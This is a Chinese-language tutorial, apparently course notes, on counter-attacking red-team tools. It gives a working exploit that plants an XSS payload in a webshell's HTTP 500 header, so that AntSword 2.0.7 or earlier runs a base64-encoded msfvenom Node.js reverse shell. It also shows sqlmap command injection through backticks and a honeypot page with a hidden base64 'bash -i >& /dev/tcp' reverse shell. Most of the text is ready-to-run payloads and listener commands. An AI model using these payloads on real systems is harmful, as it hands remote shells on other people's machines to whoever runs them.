一、蚁剑反制

AntSowrd<=2.0.7

1.1、webshell连接

php -S 0.0.0.0:9991

image-20240402183202479

image-20240402183135184

1.2、反制antsword

课程为了演示需要,是单独创建的webshell.php 、webshell2.php 、webshell3.php
实际流程是蓝队通过入侵排查发现红队传入的webshell文件,直接修改webshell文件,红队再次
连接时就会中招

1.2.1、弹窗
<?php header("HTTP/1.1 500 <img src=1 onerror=alert(1) />") ?>

更改webshell

image-20240402183433421

更改后在连接后触发弹窗

image-20240402183523948

1.2.2、反制
  • 生成nodejs反弹shell脚本
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.43.128 LPORT=12333 -f base64

192.168.43.128是kali的IP地址

image-20240402183758722

  • 将生成的base64编码后的字符替换到下面的buffer
<?php header("HTTP/1.1 500 <img src=1 onerror='eval(new Buffer(`IChmdW5jdGlvbigpeyB2YXIgcmVxdWlyZSA9IGdsb2JhbC5yZXF1aXJlIHx8IGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUuY29uc3RydWN0b3IuX2xvYWQ7IGlmICghcmVxdWlyZSkgcmV0dXJuOyB2YXIgY21kID0gKGdsb2JhbC5wcm9jZXNzLnBsYXRmb3JtLm1hdGNoKC9ed2luL2kpKSA/ICJjbWQiIDogIi9iaW4vc2giOyB2YXIgbmV0ID0gcmVxdWlyZSgibmV0IiksIGNwID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLCB1dGlsID0gcmVxdWlyZSgidXRpbCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCgxMjMzMywgIjE5Mi4xNjguNDMuMTI4IiwgZnVuY3Rpb24oKSB7IGNsaWVudC5zb2NrZXQucGlwZShzaC5zdGRpbik7IGlmICh0eXBlb2YgdXRpbC5wdW1wID09PSAidW5kZWZpbmVkIikgeyBzaC5zdGRvdXQucGlwZShjbGllbnQuc29ja2V0KTsgc2guc3RkZXJyLnBpcGUoY2xpZW50LnNvY2tldCk7IH0gZWxzZSB7IHV0aWwucHVtcChzaC5zdGRvdXQsIGNsaWVudC5zb2NrZXQpOyB1dGlsLnB1bXAoc2guc3RkZXJyLCBjbGllbnQuc29ja2V0KTsgfSB9KTsgc29ja2V0Lm9uKCJlcnJvciIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSkoKTs=`,`base64`).toString())' />") ?>

替换到webshell中

  • kali监听12333端口
nc -lvvp 12333

监听后再次尝试使用蚁剑连接

image-20240402184135830

image-20240402184234760

拿到蚁剑主机的cmd执行窗口。

如果在实战中,速度一定要快,可以提前准备好,直接篡改webshell静等再次连接就可以了

二、Sqlmap反制

2.1、sqlmap执行系统命令

在Linux操作系统中,``包裹的字符串会被当作系统命令执行,在sqlmap的运行中可以采用如下的方式让系统执行ls命令

python sqlmap.py -u "http://158.247.240.30:10881/?id=a&b=`ls`"

24

python sqlmap.py -u "http://158.247.240.30:10881/?id=`curl 666.cvrste.dnslog.cn`"
python sqlmap.py -u "http://158.247.240.30:10881/" --data="a=`curl 7777.cvrste.dnslog.cn`"

2.2、钓鱼页面

kali中写好钓鱼页面

  • 需要使用base64编码的payload

image-20240403160104087

编码前:bash -i >& /dev/tcp/158.247.240.30/99980>&1
编码:(执行命令)
echo"bash -i >& /dev/tcp/158.247.240.30/9998 0>&1"| base64
编码后:YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTguMjQ3LjI0MC4zMC85OTk4IDA+JjEK
<html>
<head>
<title> A sqlmap honeypot demo</title>
</head>
<body>
username:<input type="text" name="username"> <form id="myForm" action="username.php" method="post" enctype="text/plain">
<input type='hidden' name='name' value='sdf&sadf=sadf&command=`echo
"YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEyOC85OTk4IDA+JjEK" | base64 -d | bash`'>
<input type="submit" οnclick="myForm.submit()" value="Submit">
</form>
</body>
</html>

image-20240403160545029

kali开启web服务

python3 -m http.server 9999

image-20240403161103371

监听端口

nc -lvnp 9998

image-20240403161249465

诱导红队执行下面攻击行为

python sqlmap.py -u "http://158.247.240.30:10881/" --data="name=sdf&sadf=sadf&command=`echo "
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTguMjQ3LjI0MC4zMC85OTk4IDA+JjEK" | base64 -d | bash`"

此行为如果采用下列两种方式,将不会成立
1.-r 选项导入请求消息进行sqlmap测试,sqlmap并不会解析其中的
2.GET请求表单执行反弹shell,GET方式默认会对特殊符号进行url编码,导致sqlmap无法识别编码之后的``符号,如果你觉得红队在用sqlmap之前会自行解一次码,那这种情况其实也可以成立。

Kali或云服务器收到sqlmap执行计算机的命令行

24